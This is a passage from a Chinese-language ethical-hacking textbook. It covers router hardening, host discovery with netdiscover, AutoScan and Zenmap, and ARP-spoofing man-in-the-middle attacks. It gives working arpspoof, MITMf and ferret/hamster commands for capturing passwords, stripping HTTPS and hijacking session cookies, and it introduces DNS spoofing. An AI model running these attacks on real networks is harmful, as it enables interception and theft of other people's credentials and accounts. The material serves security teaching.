现在,在某些情况下,攻击者可能正在对我们进行去认证攻击,这样攻击者可能会阻止我们无线连接到网络。我们可以做的是通过以太网线连接到路由器;这样做时,攻击者就无法通过去认证攻击来断开我们的连接,我们将能够通过有线连接访问路由器设置。我们可以修改安全设置,改变加密方式,修改密码,做所有的安全增强操作,以避免攻击者能够攻击网络并获取密钥。

现在,每个路由器的设置都是不同的,取决于制造商,甚至是路由器的型号。但通常情况下,修改设置的方式是相同的;在 90%的情况下,路由器的 IP 总是子网的第一个 IP,我们只需要使用ifconfig命令获取 IP,就像我们在本节开始时所做的那样。我们获得了192.168.0.25的 IP,然后将最后的25改成1,就是第一个 IP,这就是我们的路由器的 IP。

现在,我们将导航到无线设置。正如我们所见,有很多设置可以修改我们的网络,目前我们关注的是无线设置:

如前所示,无线设置已启用,我们甚至可以在SSID下更改网络名称;我们还可以更改频道带宽

进入安全选项后,我们可以在以下截图中看到,我们正在使用 WPA 加密和 WPA/WPA2 认证,且加密方式使用的是 AES+TKIP:

如果我们进入 WPS 选项,我们可以看到 WPS 已禁用;我们没有使用 WEP 加密,这样攻击者就无法使用任何攻击手段来破解 WEP 加密:

我们正在使用更加安全的 WPA,并且已经禁用了 WPS,这样攻击者就无法使用reaver来确定 WPS PIN,然后反向工程密码。黑客能够访问或获取密码的唯一方法是首先获取握手,然后使用一个单词列表找到密码。密码非常随机,即使实际上没有使用数字或数字,只是字母;但它非常随机,所以很难有人能够猜到它。

现在,还有访问控制;使用这个,我们可以添加策略,比如允许策略或拒绝策略:

我们可以指定我们想要允许连接到我们网络的 MAC 地址;我们也可以指定我们想要从我们网络中拒绝的 MAC 地址。例如,如果你家里没有很多人或很多访客,或者如果你在一家有指定数量计算机的公司,并且只想允许一定数量的计算机连接到网络,你可以获取他们的 MAC 地址(对于你想要允许的人)并将它们添加到允许列表中。即使有人有实际的密钥,但他们不在白名单或允许列表中,他们将无法访问网络。当我们想要拒绝某台计算机或某个我们认为可疑的人时,我们可以添加他们的 MAC 地址到拒绝列表中,他们将无法连接到你的网络:

路由器设置页面通常对不同的路由器有不同的外观;选项的名称可能不同,但主要点是我们应该能够使用子网 IP 访问路由器设置,并在末尾添加数字1,这是第一个 IP。如果你遭受攻击并且完全无法连接到你的网络,那么只需使用一根电缆并修改设置,就像我们讨论过的那样。

总结

这一章我们研究了即使没有设备连接到目标网络,即使网络处于空闲状态,破解 WEP 加密网络有多么容易。我们还看到了一些方法将数据包注入到流量中,并导致数据量迅速增加,以便在很短的时间内破解 WEP 密钥。

然后我们研究了黑客可以利用的所有弱点,以便入侵 WEP、WPA 和 WPA2 加密网络。然后我们看到黑客如何利用弱点来破解密码并获取网络的密钥。之后我们作为攻击者将能够取消认证,或者从任何网络中断开任何设备,而无需知道密钥。

在本章末尾,我们讨论了如何修改我们自己路由器的设置,以增加网络的加密和安全性,防止黑客使用攻击并获取密码。

在下一章,我们将学习

第七章:连接后攻击

在之前章节中进行的所有攻击中,我们都没有连接到网络。然而,在这一章中,我们将研究在突破网络后可以执行的攻击。首先,我们将学习在进入网络后能够收集的所有重要信息,这些信息将帮助我们发起攻击;我们将使用 netdiscover 工具来实现这一目标。我们还将学习一种与 netdiscover 类似的工具——AutoScan。它的界面更好,功能比 netdiscover 更强大。我们还将学习另一个工具 Zenmap,它的工作原理与 AutoScan 和 netdiscover 类似,用于探索所有连接到系统的客户端。

在本章中,我们将讨论以下主题:

  • 连接后攻击

连接后攻击

到目前为止,我们所做的一切都没有涉及到连接网络。在这一部分,我们将讨论连接后攻击——换句话说,就是我们在连接到网络后可以执行的攻击。现在,不管这个网络是无线网络还是有线网络,也不管我们是如何连接到它的。我们将不再考虑到目前为止所做的所有操作,假设我们已经成功连接到网络。我们可能是通过物理连接线缆连接到路由器或服务器,也可能是通过破解密钥(如果目标使用的是 WEP 或 WPA 密钥)来连接,或者也许该网络是一个没有加密的无线网络,我们直接连接到它。无论我们是如何获得连接的,只要我们已经获得了网络访问权限,就可以发起我们将在这一部分讨论的所有攻击。

首先需要注意的一个重要事项是,在之前的所有攻击中,我们都将无线网卡设置为监视模式,以便能够捕获任何空中传输的数据包。在这一部分,我们将使用无线网卡的管理模式,因为我们只想捕获定向给我们的数据包,因为我们已经有网络访问权限,所以不需要捕获所有的流量。另一个需要记住的事项是,如果我们在实验室里进行测试,并希望在不使用多个无线网卡的情况下进行这些攻击,我们应该进入 Kali 虚拟机的 VirtualBox 设置,进入设置 | 网络,并确保它使用 NAT 网络,并且与其他虚拟机在同一子网(如我们的示例中的 NatNetwork),如下所示的截图所示:

我们可以在 Kali 虚拟机中使用eth0网卡接口进行攻击;这将是一个虚拟接口,但它会像普通接口一样工作。或者,我们也可以使用无线网卡——只需从 Kali 连接到目标网络,然后我们就可以测试网络中任何设备的安全性。

所以,我们可以将我们的虚拟机,或我们的 Windows 虚拟机,连接到同一网络,或者我们可以测试任何其他设备,无论是我们的手机、旧笔记本,还是其他设备。

netdiscover 工具

本节我们要讨论的第一件事是信息收集。收集有关连接的客户端和路由器的信息非常重要,因为它可以帮助我们了解它们的 IP 地址和 MAC 地址,以及它们运行的操作系统,还可以了解它们设备上开放的端口。至于路由器,我们能够知道路由器的制造商,然后我们就可以寻找可以用来攻击路由器或客户端的漏洞和利用方式,如果我们想要攻击它们的话。

在第四章《网络渗透测试》中,我们看到如何使用airodump-ng来发现连接的客户端。在airodump-ng的第二部分输出中,我们学到了如何看到关联的客户端及其 MAC 地址。就这些了——这是我们在连接到目标接入点之前能获得的一切信息。现在,连接后,我们可以收集更多关于这些设备的详细信息。有很多程序可以完成这个任务,但我们将讨论三种程序,从最简单最快的 netdiscover 开始。

如我们之前所说,netdiscover 是最快、最简单的程序,但它并没有显示关于目标客户端的详细信息。它只会显示它们的 IP 地址、MAC 地址,有时还会显示硬件制造商。我们通过输入netdiscover来使用它,然后输入-i来指定我们的无线设备,即eth0。接着,我们输入范围,可以是我们想要的任何范围。查看 IP(即10.0.2.1)可以告诉我们所在的网络。我们希望发现这个网络中的所有客户端,所以我们会尝试看看是否有设备在10.0.2.1。然后我们会尝试1213141516,一直到254——这是范围的终点。为了指定整个范围,我们可以写/24。这意味着我们要从10.0.2.1开始,然后这个 IP 将一直增加到10.0.2.254,这是网络中的 IP 范围的终点。这个命令如下所示:

 -i eth0 -r 10.0.2.1/24

我们按下Enter键。它会非常快速地返回输出,生成如下截图所示的结果:

正如我们所说,这是最快的方法,我们可以从前面的截图看到,我们已经有四个设备连接到网络。我们有它们的MAC 地址,以及它们的MAC 供应商。就是这些了。这个方法非常快速,并且只显示简单的信息。

AutoScan 工具

AutoScan 是另一个可以用于发现连接到同一网络的计算机或客户端的程序。它不像 netdiscover 那样快,但它有一个图形界面,因此更容易使用,并且它实际上显示了更多关于发现的客户端的详细信息。让我们去 Kali 机器,从 sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/autoscan-network-1.42-Linux-x86-Install.tar.gz/download 下载 AutoScan 的 Linux 版本。最新版本(1.5 版)有一个 bug,因此工作不太好。所以,我们要做的是下载一个较旧的版本,即 1.42。如果我们去 Files | Downloads,我们将看到该文件。我们通过右键单击它并从下拉菜单中点击 Extract Here 来解压该文件。这将打开安装程序。

我们将在终端中运行此安装程序,但在此之前,AutoScan 使用的一个库需要安装。此库仅适用于具有 32 位架构的计算机,即使用 32 位处理器的计算机,因此我们需要首先添加该架构,然后再安装该库。我们要输入的第一个命令是为我们的 64 位计算机添加 32 位兼容性。如果您的计算机已经是 32 位的,则无需运行该命令,但如果是 64 位计算机,则需要运行该命令。我们将启动 dpkg --add-architecture i386 命令。现在,我们需要更新源。为此,我们输入 apt-get update。接下来,我们将安装 AutoScan 需要的库,名为 libc6。运行 apt-get install libc6: i386 命令,并在询问是否继续时输入 Yes

稍后,它会要求我们重新启动服务,因为配置已完成—当它提示时,输入 Yes 。好了,现在应该都安装好了。现在我们已经安装了 AutoScan 所需的库,接下来只需安装 AutoScan 本身。

正如你可能记得,AutoScan 是下载到 Downloads 文件夹中的。我们将通过运行 cd Downloads 进入 Downloads 文件夹。然后,如果我们使用 ls 列出 Downloads 中的文件,我们会看到 AutoScan 安装程序本身以绿色显示:

要运行安装程序,我们将输入 ./,然后输入安装程序的名称,即 autoscan-network-1.42-Linux-x86-Install,并按下 Enter

如果我们希望继续安装 AutoScan,它会要求我们点击 Next。确认选择后,它会问我们希望将其安装在哪里。我们将保留默认位置,即 /opt/AutoScan

现在,程序应该已经完全安装。如果我们去桌面上,我们会看到桌面上有一个启动器。此外,如果我们去“显示应用程序”并搜索 AutoScan,我们会看到有两个文件:卸载程序和 AutoScan 本身:

我们现在将运行 AutoScan。我们可以用它来发现与我们连接到同一网络的客户端。AutoScan 向导(如下截图所示)将帮助我们启动扫描并查看结果:

我们只需要点击“前进”。接下来,它会要求我们命名网络——我们就保留为“本地网络”,然后点击“前进”:

这个程序仍然会询问我们网络的位置。它是我们的本地主机,因此我们保持不变:

接下来,我们点击“前进”。然后,AutoScan 会显示可用的接口。这非常重要,因为,取决于我们选择哪个接口,我们将发现与该接口连接到相同网络的设备。例如,wlan0 [192.168.0.3] 是一张实际的无线网卡,连接到我们的家庭网络,因此如果我们使用这个接口,我们将能够发现连接到我们 Wi-Fi 家庭网络的所有设备,因为 wlan0 [192.168.0.3] 正连接到那个网络:

我们将点击“前进”,然后再点击一次“前进”。现在,程序正在工作,正如我们在下方截图中看到的,它已经开始发现我们网络中的设备:

给它一些时间。首先,它会发现 IP 地址,然后它将尝试收集有关开放端口、操作系统以及这些开放端口上使用的服务的信息。

扫描完成后,我们将能够看到网络中的所有设备,正如我们在下方截图中看到的:

点击任何设备将会显示右侧标签页中的更多信息。例如,如果我们点击路由器,如前面截图所示,它会比 netdiscover 提供更多的信息,如下图所示:

一开始,我们可以看到 IP 地址和 Mac 地址。它还告诉我们,这可能是局域网的网关,因此它可能不是一台实际的计算机,而是一个路由器。现在,在信息标签中,我们可以看到我们有开放的端口,并且其中两个开放的端口分别是 TCP 和 UDP 端口:

如我们所见,这个工具比 netdiscover 更易于使用,且能展示更多的信息,但实际扫描网络并发现信息的时间较长。在接下来的部分,我们将看看 Zenmap,它将向我们展示有关连接到我们网络的客户端的更多详细信息。

Zenmap

我们将要看的第三个程序是网络映射器 (Nmap)。Nmap 是一个网络发现工具,可以用来收集几乎任何设备的信息。使用它,我们可以收集关于我们网络内的任何客户端的信息,发现我们网络内的客户端,收集关于我们网络外的客户端的信息,甚至仅通过知道它们的 IP 地址来收集信息。我们甚至可以输入它们的 IP 地址,然后收集相关信息。Nmap 是一个非常强大的工具,具有许多用途。它可以用来绕过防火墙,以及各种保护和安全措施。关于如何使用 Nmap,已经有了整本书籍和课程。在本节中,我们将简要了解 Nmap,并学习一些基本的 Nmap 命令,这些命令可以用来发现连接到我们网络的客户端,同时还可以发现这些客户端的开放端口。

我们将使用 Zenmap,这是 Nmap 的图形用户界面。如果我们在终端中输入zenmap,它将启动该应用程序:

在 目标 字段中,我们将输入我们的 IP 地址。如果我们只想收集一个 IP 地址的信息,可以直接输入该地址,或者像我们在 netdiscover 中做的那样输入一个范围。在本次练习中,我们将输入10.0.2.1/24。在 配置文件 下拉菜单中,我们可以选择不同的配置文件:

如果需要,我们可以在 命令 选项中输入自定义命令,或者使用配置文件下拉菜单中已有的配置文件。让我们看看这些现成的配置文件。首先,我们将看看 Ping 扫描 配置文件。选择 Ping 扫描 配置文件后,点击 扫描 按钮:

上面的扫描有点像快速扫描,但它显示的信息不多,正如我们在前图中所见。它只显示了连接的设备。如图所示,我们在左侧面板中有连接的设备,并且显示了它们的 IP 地址、MAC 地址和厂商信息。有时在 netdiscover 中,我们无法看到设备的制造商。有时这些信息也会被 AutoScan 隐藏。然而,我们可以通过 Nmap 查看制造商,正如前面的截图所示。我们还能够知道10.0.2.5是一个 VirtualBox 虚拟网络接口设备。这是一个虚拟无线网卡,因为我们正在有线实验室中进行扫描。在无线扫描的情况下,它会显示路由器或设备的制造商,我们可以进一步查找这些设备中的漏洞。再次强调,Ping 扫描非常迅速。我们能够找出连接客户端的制造商、IP 地址和 MAC 地址。

接下来我们要看的是快速扫描(Quick scan)。现在,快速扫描的速度会稍微慢于 Ping 扫描,但我们会得到比 Ping 扫描更多的信息;我们能够识别每个设备的开放端口:

如前图所示,主路由器有一个开放的端口叫做53/tcp

现在,让我们来看一下“快速扫描加”(Quick scan plus),它将快速扫描推进一步。它比快速扫描慢,但它会显示我们打开端口上运行的程序。因此,在快速扫描中,我们看到了端口80是开放的,但我们不知道端口80上运行的是什么,我们看到端口22在运行,但我们也不知道运行的是什么。我们知道它是 SSH,但我们不知道运行在该端口上的 SSH 服务器是什么。

所以,这将比快速扫描花费更长时间。这个扫描比我们之前谈到的所有扫描都要慢,但我们可以看到它收集了更多的信息,如下图所示:

我们可以看到,在前面的截图中,我们有一台 Linux 设备连接。我们可以看到该设备的操作系统,并且它还为我们提供了程序的版本信息。上次,我们只知道端口22是开放的——现在我们知道它正在运行,并且运行的服务器是 OpenSSH 4.7。

从快速扫描提供的关于我们 Linux 设备的信息中,我们能够识别端口80,并且知道该端口是开放的。我们知道 HTTP 在上面运行,但我们不知道运行的是哪个版本的服务器。现在我们知道它是 Apache HTTP 服务器 2.2.8,并且它是一个 Linux 设备。所以再次强调,这个扫描非常准确。我们可以继续查找漏洞和弱点。

这只是一个例子,展示了收集信息的实用性。即使这个方法不起作用,我们仍然可以继续寻找这些程序的漏洞,并成功获取对该网络的访问权限。因此,收集信息是渗透测试中的一个重要步骤。Zenmap 或 Nmap 是一个强大的工具,我们可以用它执行多种类型的扫描。我们可以尝试这些现成的配置文件,看看它们能做什么。

总结

在这一章中,我们介绍了所有可以用来突破网络并收集有关网络中客户端的关键信息的技术。这将帮助我们对目标系统发起攻击。为此,我们学习了三种不同的工具——netdiscover、AutoScan 和 Zenmap。这些工具各有独特的功能,使它们在收集目标信息时非常高效。

在下一章中,我们将学习各种中间人攻击。我们还将学习 Wireshark 工具。

第八章:中间人攻击

在上一章中,我们介绍了如何借助各种工具收集信息并进行分析。在本章中,我们将了解中间人框架MITMf),这是一个用于最强大攻击之一的工具包。为了实施 MITMf,我们将使用 ARP 欺骗、绕过 HTTPS 和 DNS 欺骗。我们还将使用键盘记录器,并研究 MITMf 实现中的代码注入技术。

在本章的最后部分,我们将了解一个名为 Wireshark 的特殊工具,它在分析网络时非常高效。使用它,我们可以捕获数据包并了解它们所携带的信息。在本节中,我们将学习如何操作这个工具,以及如何使用一些过滤器。

在本章中,我们将覆盖以下主题:

  • 中间人攻击

  • Wireshark

中间人攻击

在接下来的几个章节中,我们将讨论所谓的中间人MITM)攻击。这是我们在网络中可以执行的最危险、最有效的攻击之一。只有在连接到网络后,我们才能进行此攻击。它可以用于将数据包的流量从任何客户端重定向到我们的设备。这意味着,发送到客户端或从客户端发送的任何数据包都必须经过我们的设备,并且由于我们知道密码,因此知道网络的密钥,我们就能读取这些数据包。它们不会被加密,我们将能够修改它们、丢弃它们,或者仅仅读取它们,看它们是否包含密码或重要信息。这个攻击非常有效,因为它很难防御。我们会讨论如何防御这种攻击,但完全防御这种攻击非常困难。这是因为 ARP 协议的工作方式。它的设计非常简单而且有效,但安全性不足。

ARP 有两个主要的安全问题。第一个是每个 ARP 请求或响应都是被信任的,所以我们设备对其他设备说的任何内容都会被信任。我们可以告诉网络中的任何设备我们是路由器,设备会信任我们。它不会去验证我们是否真的是路由器,也不会做任何身份验证测试。如果我们告诉任何设备我们是路由器,它会相信我们。同样地,如果我们告诉路由器我们是网络中的另一个设备,路由器也会信任我们,并开始将我们当作那个设备来处理;这就是第一个安全问题。第二个安全问题是客户端可以接受即使它没有发送请求的响应。例如,当一个设备连接到网络时,它首先会询问“谁是路由器?”,然后路由器会发送一个响应,表示“我就是路由器”。现在,我们可以在设备没有询问路由器是谁的情况下直接发送响应。我们可以直接告诉设备我们是路由器,且由于设备信任任何人,它们会信任我们,并开始将数据包发送给我们,而不是发送给路由器。

那么,让我们更深入地看看这个 MITM 攻击是如何运作的。它将通过一种叫做 ARP 中毒或 ARP 欺骗的技术来进行。通过利用前一段中提到的两个安全问题,这种攻击得以实现。以下是典型的 Wi-Fi 网络,我们可以在图示中看到,当客户端请求某个内容时,它会将请求发送给Wi-Fi 路由器,然后路由器从互联网获取请求,并将响应发送回客户端

现在,所有这些操作都是通过数据包完成的。所以,我们要做的是向客户端发送一个 ARP 响应,这样我们就可以在客户端没有请求的情况下发送响应。客户端并没有请求任何内容,但我们仍然可以给它发送响应。我们将告诉它我们的 IP 是路由器的 IP。例如,路由器的 IP 是192.168.1.1;我们将告诉客户端,IP 为192.168.1.1的设备拥有我们的 MAC 地址,因此我们基本上是在告诉客户端我们就是路由器。

这将导致客户端开始将数据包发送给我们,而不是发送给路由器。下图说明了这一点:

之后,我们将对 Wi-Fi 路由器做相反的操作。我们将告诉路由器我们是客户端。我们会通过告诉路由器我们的 IP 是客户端的 IP,并且客户端拥有我们的 MAC 地址,来实现这一点,这样数据包的通信将通过 MAC 地址进行,Wi-Fi 路由器将开始将任何原本要发送到客户端的数据包发送给我们。这样,数据包的流动就会被重定向到我们的设备,当客户端想要发送请求时,它将把请求发送给我们:

所以,例如,在下面的截图中,当客户端想要打开 Google 时,它会将请求发送到我们的设备,而不是发送到Wi-Fi 路由器

现在,我们的设备将去访问Wi-Fi 路由器,它将获取 Google,Wi-Fi 路由器会将响应发送到我们的设备,而不是发送给客户端,然后我们会把数据包发送回去。这意味着每个发送到客户端或从客户端发出的数据包,都必须通过我们。既然数据包会通过我们,而我们拥有密钥,那么我们就可以读取这些数据包、修改它们,或者直接丢弃它们。

所以,这就是 MITM 攻击和 ARP 中毒的基本原理。基本上,我们将告诉客户端我们是Wi-Fi 路由器,然后我们再告诉路由器我们是客户端。这样,我们就会处于数据包流的中间,位于客户端Wi-Fi 路由器之间,所有的数据包都会通过我们的设备流动。然后我们可以读取这些数据包、修改它们,或者丢弃它们。

使用 arpspoof 进行 ARP 欺骗

现在,让我们来看看如何运行一个实际的 ARP 中毒攻击,重定向数据包流并使其通过我们的设备。我们将介绍一个叫做 arpspoof 的工具,它是一个叫做 dsniff 的工具套件的一部分。dsniff 是一个包含多个程序的套件,这些程序可以用来发起 MITM 攻击。我们只会讲解 arpspoof,看看如何使用它来进行 ARP 中毒,从而重定向数据包流通过我们的设备。arpspoof 工具比较老旧,但仍然有效,而且由于它非常简单,所以它已经被移植到 Android、iOS 以及其他小型操作系统上。有很多人喜欢用它来进行 ARP 中毒,这也是我们要展示如何使用这个工具的原因。在接下来的部分以及之后的所有章节中,我们将使用一个叫做 ettercap 的工具。我们将看到如何使用它以及如何通过它进行 ARP 中毒,但在这一部分,我们只想展示如何使用 arpspoof,因为它将会被频繁使用,所以我们需要知道如何使用它。反正它非常简单。

所以,我们现在已经连接到目标网络。让我们看看如何使用这个工具。它的命令是 arpspoof -i,用来选择我们的网卡(虚拟网卡),所以是 eth0。接着,我们会输入目标 IP 地址。我们的目标是 Windows 设备,它的 IP 是 10.0.2.5。然后我们将输入接入点的 IP 地址,即 10.0.2.1。我们将告诉接入点,客户端的 IP 地址对应我们的 MAC 地址,基本上,我们要告诉接入点,我们就是目标客户端:

完成这一步之后,我们需要再次运行 arpspoof,而这次我们不再告诉接入点我们是目标客户端,而是告诉客户端我们是接入点,所以我们只需要交换 IP 地址:

所以,通过运行之前的两个命令,我们将欺骗接入点和客户端,并让数据包通过我们的设备流动。

现在,看看目标设备,目标设备是 Windows,所以我们要查看 ARP 表。如果我们在 Windows 机器上运行 arp -a 命令,它将显示 ARP 表。我们可以在以下截图中看到,接入点的 IP 地址是 10.0.2.1,并且可以看到它的 MAC 地址是 52-54-00-12-35-00。它存储在这个 ARP 表中:

现在,一旦我们进行攻击,我们将看到目标接入点的 MAC 地址 08-00-27-0b-91-66 会发生变化,变成攻击者的 MAC 地址:

我们还需要做一件叫做启用 IP 转发的事情。我们这么做是为了确保当数据包通过我们的设备时不会被丢弃,从而使每个经过我们设备的数据包都能被转发到它的目的地。因此,当我们从路由器接收到一个数据包时,它会转发给客户端,而当一个数据包来自客户端时,它应该被转发到路由器,而不会在我们的设备中丢失。所以,我们将通过以下命令来启用它:

echo 1 > /proc/sys/net/ipv4/ip_forward

现在,Windows 设备认为攻击者设备是接入点,每当它试图访问互联网,或者每当它尝试与接入点通信时,它会将这些请求发送到攻击者设备,而不是实际的接入点。这将把我们的攻击者设备置于连接的中间,我们就可以读取、修改或丢弃这些数据包。

我们将在接下来的章节中看到如何做到这一点;现在我们只需要知道如何进行基本的 ARP 欺骗。每当我们尝试进行中间人攻击时,都需要这样做。

使用 MITMf 进行 ARP 欺骗

在本节以及接下来的几节中,我们将讨论一个名为 MITMf 的工具,正如其名字所示,这个工具可以让你执行多种 MITM 攻击。接下来,我们将运行这个工具,看看如何使用它,并且我们将进行一个基本的 ARP 中毒攻击,完全按照之前的操作进行。我们还将使用以太网内部虚拟网卡而不是 Wi-Fi 网卡,所以我们实际上可以对 Wi-Fi 或有线网络进行这些攻击,并且可以使用你的无线网卡。

我们将它连接到网络,连接到目标网络,然后像使用 arpspoof 那样进行攻击,或者也可以使用以太网虚拟网卡来进行攻击。

如果我们执行ifconfig命令查看我们的网络接口,我们会看到eth0网卡连接到内部网络,IP 地址为10.0.2.15

现在,去 Windows 机器上运行arp -a命令查看我们的 MAC 地址,我们可以在以下截图中看到网关 IP 为10.0.2.1,MAC 地址以35-00结尾:

所以,我们将进行 ARP 中毒攻击,看看 MAC 地址是否发生变化,以及我们是否能成为中间人(MITM)。

为了使用名为 MITMf 的工具,我们首先输入命令。接着,我们将指示它进行 ARP 中毒攻击,然后提供网关(路由器的 IP),接着提供目标的 IP,最后提供接口。命令如下:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0

如果我们没有指定目标,它将默认攻击整个网络、整个子网。接口指定了我们的虚拟接口,但如果它连接到无线网络,我们也可以指定无线网卡。所以,我们只需要按Enter,工具就会开始运行:

让我们去 Windows 机器上,运行arp -a,看看我们是否成功成为连接的中心。我们可以在以下截图中看到,MAC 地址已经从35-00更改为91-66,这正是我们在 Kali 中使用的虚拟接口的 MAC 地址,因此它的结尾是91-66

所以,这意味着我们此时是中间人(MITM),而该工具会自动为我们启动嗅探器。所以,与 arpspoof 仅仅让我们处于中间位置不同,这个工具实际上启动了嗅探器,捕获了网络中设备发送的数据。

我们将访问一个网站。首先,我们将访问一个 HTTP 网站,看看如何捕获用户名和密码,然后我们将看看如何从使用 HTTPS 的网站捕获密码。

所以,在一台 Windows 机器上,我们将访问一个名为 Hack.me 的网站,然后进入登录页面登录账户,同时 MITM 攻击正在进行。接下来,我们将使用一个用户名和密码。我们将 Email 地址填写为zaid@isecur1ty.org,然后设置一个假的密码;但我们只是想看看如何捕获这个密码。所以我们将密码设置为123456。现在,如果我们返回到 MITMf 控制台,我们将看到捕获到的内容;用户名已经捕获,即zaid@isecur1ty.org,密码也被捕获,即123456

所以,基本上,我们能够捕获所有通过我们 ARP 欺骗的计算机输入的用户名和密码。我们还可以看到该人请求的所有 URL。例如,我们可以看到他们请求了me.hack.me。我们还可以看到 Hack.me 请求的 URL。这些仅仅是网站上显示的广告请求的 URL。

绕过 HTTPS

在上一节中,我们看到如何嗅探并捕获通过 HTTP 请求发送的所有内容。大多数著名网站使用 HTTPS 而非 HTTP。这意味着,当我们试图成为 MITM 时,当目标访问该网站时,网站会显示警告,提示该网站的证书无效。这样,目标就会产生怀疑,并且可能不会登录该页面。所以,我们要做的是使用一个名为 SSLstrip 的工具,它可以将任何 HTTPS 请求降级为 HTTP;因此,当目标访问hotmail.com时,他们将被重定向到hotmail.com的 HTTP 版本。我们进入目标浏览器,尝试访问hotmail.com。现在,如下截图所示,在地址栏顶部你会看到该网站使用 HTTPS,因此,如果我们试图成为 MITM,该网站将显示警告:

为了绕过警告,我们将使用一个名为 SSLstrip 的工具,将任何请求 HTTPS 网站的连接降级为 HTTP 版本,并将其重定向到该网站的 HTTP 版本。一旦我们访问 HTTP 版本,嗅探数据将变得非常简单,就像在上一节中发生的那样。

我们可以手动使用 SSLstrip,但幸运的是,MITMf 会自动为我们启动它。我们实际上会运行与上一节看到的完全相同的命令,且不会对其做任何更改。

如果我们查看以下截图,一旦运行这个程序,我们将看到它实际上会告诉我们 SSLstrip 已经启动并且在线:

所以,我们将返回并尝试访问hotmail.com,我们将在接下来的截图中看到,与我们这里获取到的 HTTPS 版本不同,我们实际上将访问 hotmail.com 的 HTTP 版本。现在,注意这里的地址栏。没有 HTTPS,所以我们实际上是访问网站的 HTTP 版本。我们还会注意到没有看到任何警告,它看起来就像一个正常的网站,和 hotmail.com 一模一样。

所以,我们要输入我们的电子邮件,再次使用一个错误的密码。我们只是输入123456,然后点击登录。现在,如果我们去 Kali 机器上查看,我们会看到我们成功捕获了来自zaid@hotmail.com的电子邮件,并且我们也成功捕获了密码,它是123456

像 Facebook 和 Google 这样的网站实际上使用了一个叫做 HSTS 的功能,它的作用是这样的:基本上,浏览器会带着一个预先硬编码的网站列表,这些网站必须以 HTTPS 方式浏览。所以,即使我们尝试将 HTTPS 连接降级为 HTTP,浏览器也会拒绝显示该网站,或者只会显示其 HTTPS 版本。这是因为,在不连接任何内容的情况下,浏览器在本地计算机上存储了一个列表,说明它不应该以 HTTP 方式打开 Facebook、Gmail 等网站。因此,无论我们尝试什么方式,网站都会拒绝以 HTTP 打开。

现在,MITMf 实际上有一个 HSTS 插件,尝试绕过 HSTS,但它只对旧版浏览器有效。它曾经利用一个旧的漏洞,现在在新浏览器中已经修复了。对于新浏览器,目前没有办法绕过到 Gmail 和 Facebook 的 HTTPS 连接,因为它们使用了 HSTS,这基本上意味着它们带着一个硬编码的列表,因此浏览器拒绝以 HTTP 打开这些网站。

会话劫持

到目前为止,我们已经看到如何从我们网络上的任何计算机捕获密码,并且我们也看到如何绕过 HTTPS 来捕获那些尝试使用加密的著名网站的密码。那么,如果目标用户根本没有输入密码呢?如果他们使用了记住我功能,当他们访问该网站时,已经自动登录到该网站了呢?这样,他们就不需要输入密码,密码也不会发送到服务器,因此我们永远无法捕获到密码,因为密码根本没有被发送。那么,我们来看看这个情况。

所以,我们在目标的 Windows 计算机上。如果我们访问 Dailymotion,我们之前已经登录过,并且点击了“记住我”功能。所以,如果我们访问该网站,www.dailymotion.com/ie,我们将看到自己已经自动登录到账户,无需输入密码。在这种情况下,用户实际上是通过 cookies 进行认证的。cookies 被存储在浏览器中,每次用户访问该网站时,他们都会基于这些 cookies 自动登录。我们可以做的是嗅探这些 cookies 并将它们注入到我们的浏览器中,这样我们就能在不输入密码的情况下登录账户,完全按照目标用户的认证方式来登录。

为此,我们将使用一个名为 ferret 的工具,而 ferret 并没有预装在 Kali 中。要安装它,我们需要运行 apt-get install ferret-sidejack。安装完成后,首先我们将通过前面章节中使用的相同命令成为 MITM,使用 MITMf。现在,我们可以通过任何我们想要的方式成为 MITM,使用 arpspoof 或任何其他工具。

一旦我们成为 MITM,我们将使用 ferret 来捕获 cookies。MITMf 自带一个 ferret 插件,但我们将通过命令行来操作,以了解整个过程如何与另一个名为 hamster 的工具配合工作。我们将运行 ferret,运行 ferret 非常简单。我们所需要做的就是输入 ferret,然后指定我们的接口,在我们的情况下是 eth0。如果我们使用无线网卡,则应指定无线网卡的名称作为接口。命令如下:

ferret -i eth0

Ferret 现在正在运行,并且已经准备好捕获 cookies。事实上,它已经在捕获 cookies:

我们还将启动一个图形界面(web GUI),它将允许我们注入 cookies 并进入我们的系统会话。为此,我们将使用一个名为 hamster 的工具,运行 hamster 比运行 ferret 还要简单。我们所需要做的就是运行 hamster,然后就可以开始了:

所以,现在一切都准备好了。我们将进入目标系统并登录到我们的账户。所以,我们假装自己在浏览互联网。我们将访问 Udemy 网站,直接进入该网站,我们将自动认证,无需输入用户名或密码。现在,让我们回到终端,并且如我们所见,我们已经成功捕获了 cookies:

我们将复制 hamster 给我们的代理链接,即http://127.0.0.1:1234,然后我们将打开浏览器。现在,我们需要修改我们的代理设置以使用 hamster,因此在我们的 Kali 浏览器中,我们将进入首选项 | 高级 | 网络 | 设置,并设置为使用手动配置,端口设置为1234

所以,我们使用的是127.0.0.1,这是我们的本地地址,端口是1234

点击“确定”,然后我们将导航到 ferret 提供给我们的 URL,即127.0.0.1:1234

我们进入适配器并选择eth0,然后点击提交查询:

我们可以看到这里有两个目标:

我们的目标是10.0.2.5;这是我们的目标 IP。我们将点击它,正如我们在以下截图中看到的,左侧列出了所有包含与我们目标相关的 cookie 的 URL:

显然,列出的大部分 URL 是广告网站或广告 URL,但我们可以看到其中一个 URL 是 Udemy.com,如果我们点击它,我们实际上会直接登录,而无需输入用户名或密码。因此,我们可以进入该频道并执行目标用户能够做的任何操作,而不使用用户名和密码,这一切都可能,因为我们窃取了目标用户用来认证自己的网站 cookie。

DNS 欺骗

在这一部分,我们将学习什么是 DNS 欺骗以及如何执行它。DNS 本质上是一个服务器,它将域名(如 www.google.com)转换为存储 Google 网站的设备的 IP 地址。由于我们是 MITM(中间人),我们可以在我们的计算机上运行一个 DNS 服务器,并按我们希望的方式解析 DNS 请求。例如,每当有人请求 Google 时,我们实际上可以将他们引导到另一个网站,因为我们处于中间。所以,当有人请求时,我们会给他们一个我们希望的 IP 地址,然后他们会看到一个完全不同的网站,跟他们预期的完全不一样。因此,我们可以在自己的 Web 服务器上运行一个假的网站,并获取来自 live.com 的请求,重定向到该网站。

我们可以让一个网站要求目标用户下载后门;当我们假扮成另一个网站时,我们可以做任何我们想做的事情。这种攻击的可能性是无穷的。

